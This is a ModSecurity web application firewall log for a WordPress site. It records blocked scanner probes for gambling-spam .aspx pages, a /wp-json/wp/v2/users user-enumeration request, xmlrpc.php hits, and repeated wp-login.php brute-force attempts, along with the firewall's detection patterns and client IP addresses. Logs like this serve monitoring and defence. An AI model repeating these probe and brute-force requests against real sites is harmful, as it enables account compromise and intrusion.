[Thu Apr 30 19:44:52.429313 2026] [:error] [pid 6456:tid 6468] [client 79.137.67.84:38794] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afNAtEOBwsDodnkJK5xOIAAAAEo"]
[Thu Apr 30 19:44:54.384597 2026] [:error] [pid 6456:tid 6478] [client 79.137.67.84:37374] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afNAtkOBwsDodnkJK5xOJQAAAFQ"]
[Thu Apr 30 19:44:56.419109 2026] [:error] [pid 5820:tid 5825] [client 79.137.67.84:37388] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afNAuAyrLh3-LgH3Xv9DEAAAAAM"]
[Thu Apr 30 19:44:58.427791 2026] [:error] [pid 5732:tid 5765] [client 79.137.67.84:37400] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afNAutuJ3iSd5Gdjqlg9ugAAAMI"]
[Thu Apr 30 19:45:00.321182 2026] [:error] [pid 5732:tid 5781] [client 79.137.67.84:38156] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afNAvNuJ3iSd5Gdjqlg9vQAAANI"]
[Thu Apr 30 19:45:02.344638 2026] [:error] [pid 5820:tid 5831] [client 79.137.67.84:38158] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afNAvgyrLh3-LgH3Xv9DFAAAAAk"]
[Thu Apr 30 19:45:04.351968 2026] [:error] [pid 5820:tid 5839] [client 79.137.67.84:38166] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afNAwAyrLh3-LgH3Xv9DFwAAABE"]
[Thu Apr 30 19:45:06.347880 2026] [:error] [pid 6456:tid 6462] [client 79.137.67.84:38168] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afNAwkOBwsDodnkJK5xOKQAAAEQ"]
[Thu Apr 30 19:45:08.354554 2026] [:error] [pid 6456:tid 6467] [client 79.137.67.84:38184] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afNAxEOBwsDodnkJK5xOLQAAAEk"]
[Thu Apr 30 19:45:10.356142 2026] [:error] [pid 6456:tid 6473] [client 79.137.67.84:56336] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afNAxkOBwsDodnkJK5xOMAAAAE8"]
[Thu Apr 30 19:45:12.384827 2026] [:error] [pid 5820:tid 5838] [client 79.137.67.84:56348] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afNAyAyrLh3-LgH3Xv9DHAAAABA"]
[Thu Apr 30 19:45:14.481939 2026] [:error] [pid 5820:tid 5842] [client 79.137.67.84:56362] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afNAygyrLh3-LgH3Xv9DHwAAABQ"]
[Thu Apr 30 19:45:16.564879 2026] [:error] [pid 5820:tid 5822] [client 79.137.67.84:56366] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afNAzAyrLh3-LgH3Xv9DIgAAAAA"]
[Thu Apr 30 19:45:18.479816 2026] [:error] [pid 5732:tid 5786] [client 79.137.67.84:56372] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afNAztuJ3iSd5Gdjqlg9xAAAANc"]
[Thu Apr 30 19:45:20.387599 2026] [:error] [pid 5733:tid 5810] [client 79.137.67.84:36598] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afNA0PT55_Ioa9J2OpLoIgAAARQ"]
[Thu Apr 30 19:45:22.292563 2026] [:error] [pid 5732:tid 5777] [client 79.137.67.84:36614] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afNA0tuJ3iSd5Gdjqlg9yQAAAM4"]
[Thu Apr 30 19:45:24.164741 2026] [:error] [pid 5732:tid 5786] [client 79.137.67.84:36628] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afNA1NuJ3iSd5Gdjqlg9zQAAANc"]
[Thu Apr 30 19:45:26.193816 2026] [:error] [pid 5732:tid 5771] [client 79.137.67.84:36638] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afNA1tuJ3iSd5Gdjqlg90QAAAMg"]
[Thu Apr 30 19:45:28.223580 2026] [:error] [pid 6456:tid 6459] [client 79.137.67.84:36648] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afNA2EOBwsDodnkJK5xOMgAAAEE"]
[Thu Apr 30 19:45:30.088934 2026] [:error] [pid 5731:tid 5739] [client 79.137.67.84:46480] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afNA2g8tX7TbSfYoUIw9WAAAAIQ"]
[Thu Apr 30 19:45:32.096306 2026] [:error] [pid 5732:tid 5787] [client 79.137.67.84:46482] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afNA3NuJ3iSd5Gdjqlg91QAAANg"]
[Thu Apr 30 19:45:34.101690 2026] [:error] [pid 6456:tid 6467] [client 79.137.67.84:46490] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "afNA3kOBwsDodnkJK5xONgAAAEk"]
[Thu Apr 30 19:45:35.991294 2026] [:error] [pid 5733:tid 5812] [client 79.137.67.84:46496] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "afNA3_T55_Ioa9J2OpLoJAAAARY"]
[Thu Apr 30 19:45:38.031362 2026] [:error] [pid 5820:tid 5822] [client 79.137.67.84:46508] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "afNA4gyrLh3-LgH3Xv9DKgAAAAA"]
[Thu Apr 30 19:45:40.041232 2026] [:error] [pid 5733:tid 5802] [client 79.137.67.84:48210] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "afNA5PT55_Ioa9J2OpLoKwAAAQw"]
[Thu Apr 30 19:45:42.047011 2026] [:error] [pid 5820:tid 5827] [client 79.137.67.84:48226] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "afNA5gyrLh3-LgH3Xv9DLgAAAAU"]
[Thu Apr 30 19:45:43.905646 2026] [:error] [pid 5732:tid 5771] [client 79.137.67.84:48238] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "afNA59uJ3iSd5Gdjqlg91wAAAMg"]
[Thu Apr 30 19:45:45.930687 2026] [:error] [pid 5732:tid 5764] [client 79.137.67.84:48240] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "afNA6duJ3iSd5Gdjqlg92AAAAME"]
[Thu Apr 30 19:45:47.943078 2026] [:error] [pid 5820:tid 5840] [client 79.137.67.84:48244] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "afNA6wyrLh3-LgH3Xv9DMwAAABI"]
[Thu Apr 30 20:06:01.622156 2026] [:error] [pid 5731:tid 5740] [client 192.3.155.113:41280] [client 192.3.155.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.3.155.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNFqQ8tX7TbSfYoUIw-ygAAAIU"]
[Thu Apr 30 20:06:03.191617 2026] [:error] [pid 5731:tid 5752] [client 192.3.155.113:41280] [client 192.3.155.113] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afNFqw8tX7TbSfYoUIw-ywAAAJE"]
[Thu Apr 30 20:06:06.212602 2026] [:error] [pid 5732:tid 5785] [client 192.3.155.113:41322] [client 192.3.155.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.3.155.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afNFrtuJ3iSd5Gdjqlg_hAAAANY"]
[Thu Apr 30 20:53:15.745203 2026] [:error] [pid 6456:tid 6461] [client 80.241.213.248:56389] [client 80.241.213.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "afNQu0OBwsDodnkJK5xhYAAAAEM"], referer: binance.com
[Thu Apr 30 21:09:54.403533 2026] [:error] [pid 6456:tid 6475] [client 122.51.236.174:43190] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afNUokOBwsDodnkJK5xnSgAAAFE"]
[Thu Apr 30 22:04:52.968842 2026] [:error] [pid 5820:tid 5842] [client 5.161.242.138:56384] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhhAyrLh3-LgH3Xv9enwAAABQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:52.968858 2026] [:error] [pid 6456:tid 6459] [client 5.161.242.138:56382] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhhEOBwsDodnkJK5x1zgAAAEE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:52.969502 2026] [:error] [pid 5732:tid 5767] [client 5.161.242.138:56394] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhhNuJ3iSd5GdjqlhMngAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:55.389165 2026] [:error] [pid 5732:tid 5776] [client 5.161.242.138:56394] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhh9uJ3iSd5GdjqlhMpAAAAM0"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:55.732499 2026] [:error] [pid 5820:tid 5825] [client 5.161.242.138:56384] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhhwyrLh3-LgH3Xv9eoAAAAAM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:56.487059 2026] [:error] [pid 6456:tid 6481] [client 5.161.242.138:56382] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhiEOBwsDodnkJK5x11AAAAFc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:56.714935 2026] [:error] [pid 5732:tid 5787] [client 5.161.242.138:56394] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhiNuJ3iSd5GdjqlhMqAAAANg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:57.171961 2026] [:error] [pid 5820:tid 5828] [client 5.161.242.138:56384] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhiQyrLh3-LgH3Xv9eogAAAAY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:57.747337 2026] [:error] [pid 6456:tid 6469] [client 5.161.242.138:56382] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhiUOBwsDodnkJK5x11gAAAEs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:57.962120 2026] [:error] [pid 5732:tid 5778] [client 5.161.242.138:56394] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhiduJ3iSd5GdjqlhMqQAAAM8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:58.491085 2026] [:error] [pid 5820:tid 5832] [client 5.161.242.138:56384] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhigyrLh3-LgH3Xv9epAAAAAo"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:59.094108 2026] [:error] [pid 6456:tid 6462] [client 5.161.242.138:56382] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhi0OBwsDodnkJK5x11wAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:59.165700 2026] [:error] [pid 5732:tid 5774] [client 5.161.242.138:56394] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhi9uJ3iSd5GdjqlhMqgAAAMs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:04:59.757163 2026] [:error] [pid 5820:tid 5834] [client 5.161.242.138:56384] [client 5.161.242.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.242.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNhiwyrLh3-LgH3Xv9epQAAAAw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:07:23.144005 2026] [:error] [pid 5731:tid 5758] [client 43.157.175.122:46090] [client 43.157.175.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afNiGw8tX7TbSfYoUIxKrgAAAJc"]
[Thu Apr 30 22:08:07.794012 2026] [:error] [pid 5733:tid 5807] [client 164.90.239.29:46572] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiR_T55_Ioa9J2OpL7hAAAARE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:07.796507 2026] [:error] [pid 6456:tid 6464] [client 164.90.239.29:46588] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiR0OBwsDodnkJK5x2tQAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:07.810633 2026] [:error] [pid 6456:tid 6463] [client 164.90.239.29:46568] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiR0OBwsDodnkJK5x2tgAAAEU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:09.307966 2026] [:error] [pid 5733:tid 5812] [client 164.90.239.29:46572] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiSfT55_Ioa9J2OpL7hgAAARY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:09.309457 2026] [:error] [pid 6456:tid 6460] [client 164.90.239.29:46588] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiSUOBwsDodnkJK5x2uwAAAEI"], referer: https://gigfragments.org/wp-login.php
